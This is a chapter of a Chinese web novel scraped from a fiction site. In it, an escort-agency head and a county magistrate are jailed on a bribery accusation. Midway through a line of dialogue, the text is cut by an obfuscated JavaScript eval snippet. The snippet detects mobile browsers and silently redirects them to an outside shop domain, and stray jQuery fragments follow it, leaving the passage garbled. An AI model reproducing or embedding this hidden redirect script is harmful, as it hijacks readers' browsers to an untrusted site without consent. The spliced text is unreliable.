文趣网 > 其他小说 > 大当家别抛弃我们世子啊 > 46. 大当家的怎么会怕苦呢?
    杨巳娘实则已经窝了一肚子火,一口面条都吃不下去,一直在喝水降火。

    “婚姻大事,本就是父母之命、媒妁之言,”雨师言微微一笑,“若是阿缘何时与我说她有心仪的人了,言必定告知舅父。”

    说来说去,这雨师言也就是打算由着阿缘去,什么也不管……尹天逸到底还是没说出什么强人所难的话来,留下面钱说还要回去坐堂接诊就走了。

    “大当家的,这尹堂主也太过分了!尹镖师走镖自由自在的、也很开心,他就盯着嫁不嫁人来讲,他是没别的好在意了吗!”

    杨巳娘把杯子往桌上一砸,又叽里咕噜抱怨了一大堆。

    “小心点儿,别把人家面馆的杯子、桌子砸坏了,”雨师言兀自喝汤,“砸坏了要赔的,到时就从你的工钱里扣。”

    杨巳娘吐出一口浊气:“大当家的你不生气吗?”

    “有什么好生气的?你也说了,尹镖师现在自由自在、也很高兴,尹堂主也管不到她,让他说几句过过嘴瘾也就罢了。”雨师言淡淡道。

    想改变一个几十岁的人可太难了,得不偿失,赔钱买卖。

    没几日,镖师们又全都去走镖了,只剩下长工里里外外地忙碌。

    “言娘,喝药啦!”

    梁姥姥终于配好了药,黑乎乎的汤药还有点乌梢蛇的腥气。

    “额那个、想荣啊,”雨师言摸了摸额头,打着哈哈道,“我感觉我最近没有腿疼了,可不可以……”

    梁姥姥义正言辞:“等到腿疼的时候再来喝就来不及了!喝!”

    “大当家的怎么会怕苦呢?”杨巳娘在一边起哄,“稀奇稀奇真稀奇……”

    “行行行我喝!”雨师言龇着牙做心理建设。这可不是单纯的苦,而是五味杂陈……“哇呸呸呸!”

    “蜜饯来了!”杨巳娘快速地上,手脚麻利干活勤快。

    一帖还不那么快能看到效果,要看六帖,也就是十二碗——雨师言嚼着蜜饯绝望计算。

    得查账了,要查一查账上有多少余钱,够不够明年开一家分号。

    前些日子那封信一直放着,她也没回。

    不知是没想到能回什么,还是防止覆水难收。

    【珞舟,那一出《擒贼先擒王》,我在莲香坊听到了,很精彩。】

    【我知道你不一定是想听,只是感慨一下白驹过隙忽然而已,但我可以雇这个说书先生几日,让他到江州巡回说书。】

    【你爱吃盐水花生,我尝遍宁京的,才发觉齐鹤的的确不同凡响,有一种特别的味道,或许是水土原因。】

    絮絮叨叨的,似乎是多年未见的老友面对面唠嗑,一起忆往昔、说曾经。

    写了这么多信,还以为已经过了很久了呢。

    “游娘,你又吃他们家的乳鸽了?”雨师言伸指弹了一下游隼的翅膀,“每回他来信,都说你喜欢吃王府的乳鸽,让我别饿着你——倒搞得我像一个坏蛋驯鸟师一般。”

    “叽!”咕咕咕!美味!

    雨师言靠在窗边,望向江州州府的方向。

    这文痴之症……到底要不要给姥姥治呢?

    “咳咳,”她对着铜镜,“想荣,若是能让你想起以前的事,你想不想记起来呀?”

    我以前?我以前能有什么事?

    “就是你以前的那些亲戚、朋友呀,还有好多人,你都不记得他们了。”

    哪里还有别人了?不就只有言娘你、石榴、阿缘……

    雨师言扶额,不行,根本说不过,这可如何是好?

    游隼歪了歪脑袋,似乎也在照镜子。

    宁京,早朝后。

    祉王脸上阴郁非常。

    太后麾下的御史收到了一封检举齐鹤县令徐斐然与当地富商勾结、徇私枉法的奏折。

    涉事富商好巧不巧,正是那位为了守城而舍了双腿的女镖师。

    “父王,她不会做这种事,她……”

    “够了,”祉王瞥了世子一眼,“先前查尤秉章的时候,尤秉章都供认不讳——海晏镖局与官府来往密切,这是不争的事实!”

    影一抿了抿唇,世子可万万不要莽撞啊,先前只是将此事轻轻放过,王爷已经很给脸面了!

    曾经是她迫不得已……现在说这些,反而是感情用事立不住脚。楚修垂眸:“她到底立过功,又有腿疾,在民间声望极高,倘若、只恐会令齐鹤县民愤四起。”

    “此事,本王会派吕刺史前去处理,你就不必插手了。影一,传令下去——一旦那游隼再落于祉王府,即刻诛杀!”祉王背着手,大步朝祉王府书房走去。

    影一看了看小主子,纵是于心不忍也还是向祉王拱手:“是。”

    江州州府,吕刺史收到命令,满心疑惑。

    谁检举的?徐斐然做了什么事?

    齐鹤这边,还全然不知。

    “来,想荣,你看看这是?”雨师言拉开云师傅的画像,笑问道。

    梁姥姥自信答道:“云霄哥啊!”

    云霄哥……他得叫您一声老太太啊!

    雨师言抿了抿唇,又拉开尹天逸的画像:“这个呢,这个是谁?”

    “这个……”梁姥姥眯着眼睛,又支起叆叇看了看,“有些面熟、是不是仁济堂的尹堂主啊?”

    “哈哈、是啊,那你还记得他跟你有啥关系不?”雨师言紧抿着唇,咬紧牙关。

    “唔……”

    梁姥姥光挠头也不说话,大概是仔细在想这个到底她的谁,给杨巳娘都整紧张了。

    “啊!我想到了!”梁姥姥拳头一击手掌,“尹堂主是阿缘的爹,是言娘的舅父,也是我的舅父!”

    哇啊,倒反天罡!雨师言扶额。

    “大当家的、大当家的!”李二娃踉踉跄跄跑进庭院,指着外面道,“州府来了人,把徐县令给抓走了!”

    “什么?”雨师言迟疑转头,“徐县令干什么了?你有没有看错,是不是相谈要事而已?”

    “是真的!外头都传开了,说是……”

    “海晏镖局的,全都别动!”一名身穿甲胄的将领执着长枪,银色枪尖直指庭院内。

    官兵从走廊涌出,一分为二,将整个庭院团团围住,个个带刀。

    李二娃生生将未说完的话咽了下去,下意识往大当家身边靠。

    “诸位军爷,这是怎么了?”

    她右手摸上剑柄,脸上带着微微笑意:“敢问军爷贵姓?不知草民犯了什么事,要这般大动干戈啊?”

    “你就是雨师言?”将领双眸冷冷,“你涉嫌贿赂朝廷命官,跟我们走一趟罢!”

    贿赂朝廷命官、徐县令被抓……“冤枉啊!”

    雨师言瞪大眼睛,忙抬手作揖:“这位军爷,徐县令为官清廉、刚正不阿,草民

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769982|209867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就算是想要贿赂也无从下手!当真是冤枉!”

    “冤枉与否,到牢里去辩解。带走!”

    将领一声令下,左右官兵立马上前要拿人。

    “等一下!草民可以跟你们走,且容言先问上一问!”

    闻听此言,将领也抬手示意属下先停下:“你要问什么?”

    “这……”雨师言干笑两声,左右瞧瞧,“可是只带走草民一人啊?”

    将领颔首:“只带走你一人,但整所镖局要看守起来。”

    “言娘,”梁姥姥按住轮椅把手,抿了抿唇,“牢里寒湿,你的腿……”

    “不怕。你们在家乖乖待着,”雨师言压低声音,“尤其看好游娘,别让它飞出去了。”

    要将整个镖局看管起来,无非是因为怕她们往外传信。

    驯养这猛禽要不少成本。若是游娘那脑袋灵机一动想飞去宁京报信,只怕会被就地射杀。

    官兵左右看住,雨师言自己滚着轮子一路到县衙。

    沿途有百姓围观,窃窃私语,但官兵人高马大还佩刀,他们也不敢上前。

    “怎么不走了?”将领瞟了一眼她轮椅右边的卡槽,她把她的佩剑留在了镖局,难道现在还有暗器?

    “军爷,这有台阶,草民上不去啊。”

    雨师言嘴角抽了抽,这些人恐怕不是齐鹤本地的士卒,或许是打州府来的。

    将领一噎:“这、你们两个!把她抬上去!”

    被点名的士兵面面相觑。

    “将军,是抬人还是抬这轮椅?”

    “……抬轮椅。”将领清了清嗓子,听说这轮椅是祉王世子所赠,用的是最轻便的材料。

    徐斐然坐在大牢里百思不得其解,他什么时候收受贿赂了?也没人通知他啊?

    “诸位军爷,这好像是男监吧?”狱道尽头响起一道熟悉的女声。

    “齐鹤牢房有限你不知道吗?”

    将领打开徐斐然这一间牢房的锁,便冷脸道:“进去罢。”

    与牢里的人一个对视,雨师言抿了抿唇。

    这不对吧,这样关……不怕两个人串供吗?

    哗啦——

    牢门锁上了,官兵的脚步声逐渐远去。

    “徐县令当真是深藏不露啊?”她一手支着头,一手在扶手上轻敲,“收了别人的礼不收言的,有意思。”

    “冤枉啊,雨师大当家……”

    青天大老爷有朝一日也喊出了这三个字,他揉了揉太阳穴:“斐然从未收受任何财物,就连字画那些杂七杂八的也从未收过,怎么可能还有……”

    “我们最近有什么金钱往来?”雨师言问道,“你休沐之时来镖局,被人看到了?”

    两人一对账,愣是没发现什么能被做手脚的地方。

    雨师言转念一想:“不如换个方向,你出事了,对谁有好处?”

    “从朝中的角度来讲,我可能算是祉王的人——因为我之前还是举人的时候,给世子做过伴读?”徐斐然有些不确定。

    “什、么?”雨师言下巴有些松垮,“你是世子爷的伴读?!”

    “啊、这很重要吗?”徐·世子两年伴读·斐然挠了挠头。

    “重要啊!这样的话你跟祉王府的长工有什么区别!”

    雨师言咬咬牙,也就是说“君掌柜”那一出戏完全是俩老熟人哄她玩儿呢!